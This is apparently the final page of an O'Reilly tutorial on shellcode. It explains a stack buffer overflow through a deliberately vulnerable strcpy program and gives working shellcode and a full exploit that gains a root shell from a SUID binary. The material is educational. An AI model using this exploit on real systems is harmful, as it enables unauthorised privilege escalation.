LinuxDevCenter.com
oreilly.comSafari Books Online.Conferences.

advertisement


How Shellcodes Work
Pages: 1, 2, 3, 4

How It Works in Exploit

A buffer overflow exploit tries to write beyond a buffer on the stack so that when the function returns, it will jump to some code that most often starts a shell instead of returning to the function that called the current function. To understand how it works, you have to know how the stack works and how functions are called in C. The stack starts somewhere in the top of memory and the stack pointer moves down as the program pushes things onto the stack and back up as the code pops them off again. Given the C function:



void sum(int a,int b) {
    int c = a + b;
}

The stack inside of sum() will look like this:

b
a
<return address>
<ebp contents>
c

The computer saves the contents of the EBP register to a stack before calling the sum() function because it will be used inside of the function, so it can be restored from the stack after returning from the function. The goal of an exploit is to change the return address. This is not possible in this case, because no matter what a and b are, the result cannot overflow c into the EBP contents on the stack and the return address. If c were a string instead, it might be possible to write past it. Here is an overflow-exploitable program:

#include
<stdio.h>

void sum(int a,int b) {
    int c = a + b;
}

void bad_copy_string(char *s)
{
    char local[1024];
    strcpy(local,s);
    printf("string is %s\n",local);
}

int main(int argc, char *argv[])
{
    sum(1,2);
    bad_copy_string(argv[1]);
}

The function copy_string makes a copy of the first command-line parameter of the program into a buffer of a fixed size and then prints it out. This might look stupid, but something like this is quite common for programs that need to perform actions based on external input, either from the command line or a socket connection.

Compile this victim code and run it:

% gcc -o overflow overflow.c 
% ./overflow 'All seems fine'
string is All seems fine

Everything seems indeed right, but call it with a parameter longer than 1024 characters:

% ./overflow `perl -e 'print "a" x 2000'`
string is aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
bash: segmentation fault (core dumped)  ./overflow `perl -e 'print "a" x 2000'`

The Perl script above generates a string of 2000 a symbols. Now run the core file through gdb:

% gdb ./overflow core
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-linux".
Core was generated by `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x61616161 in ?? ()

The segmentation fault happened at the address 0x61616161--which is the string aaaa in hexidecimal. This means that the exploit can get the program to jump to an arbitrary address depending on what it receives as a parameter. It would be nice to make it jump to the beginning of the local buffer on the stack--but what is the address of the stack right now? gdb knows:

(gdb) info register esp
esp            0xbffff334       0xbffff334

Now, the only other thing necessary to get the code to execute is the previously written shellcode. You can take the ready shell app and run an overflow victim program from it:

#include <stdlib.h>

static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#";

#define NOP 0x90
#define LEN 1024+8
#define RET 0xbffff334

int main()
{
    char buffer[LEN]; int i;

    /* first fill up the buffer with NOPs */
    for (i=0;i<LEN;i++)
        buffer[i] = NOP;

    /* and then the shellcode */
    memcpy(&buffer[LEN-strlen(shellcode)-4],shellcode,strlen(shellcode));

    /* and finally the address to return to */
    *(int*)(&buffer[LEN-4]) = RET;

    /* run program with buffer as parameter */
    execlp("./overflow","./overflow",buffer,NULL);

    return 0;
}

The shellcode[] symbol array contains the shellcode without any null bytes. It may differ slightly, depending on OS conditions. The main() function starts with a buffer that is the size of the local variable (1024 bytes) plus eight bytes for EBP and the return address. As the buffer is longer than the shellcode, the beginning needs a bunch of do-nothing machine code (NOP) operations. Then the function copies in the shellcode, and finally, the address of the beginning of the buffer. Now compile and run it:

% gcc -o exploit exploit.c
% ./exploit
string is <lots of garbage>

Yahoo! A new Bourne shell opened! This is, of course, not much fun as the overflow program runs as yourself, but if it were a SUID root program, then you would now have a root shell. Try that:

% chmod +s overflow
% su
# chown root overflow
# exit
% ./exploit
string is <lots of garbage>
sh# whoami
root

That's it! You became a root user on this machine without permission. If the victim machine is a remote one, this will not help. More advanced shellcode creates a listening socket and redirects stdin and stdout to it before calling execve /bin/sh--that way, you don't need a shell account on the machine and can simply direct telnet or nc at the machine and port to get a root shell.

Conclusion

In this article, I have reviewed the most important tricks that will be needed in writing shellcodes and using them in exploit. The key to success is a good understanding of the operating system under which the shellcode will run, as well as assembly programming. There is nothing complicated, though. It's also worth mentioning that you should only use these mentioned techniques for legal purposes and with the knowledge and consent of the machine's owner.

Recommended Reading

Buffer Overflow Attacks

Peter Mikhalenko works in Deutsche Bank as a business consultant.


Return to the Linux DevCenter.


Linux Online Certification

Linux/Unix System Administration Certificate Series
Linux/Unix System Administration Certificate Series — This course series targets both beginning and intermediate Linux/Unix users who want to acquire advanced system administration skills, and to back those skills up with a Certificate from the University of Illinois Office of Continuing Education.

Enroll today!


Linux Resources
  • Linux Online
  • The Linux FAQ
  • linux.java.net
  • Linux Kernel Archives
  • Kernel Traffic
  • DistroWatch.com


  • Sponsored by: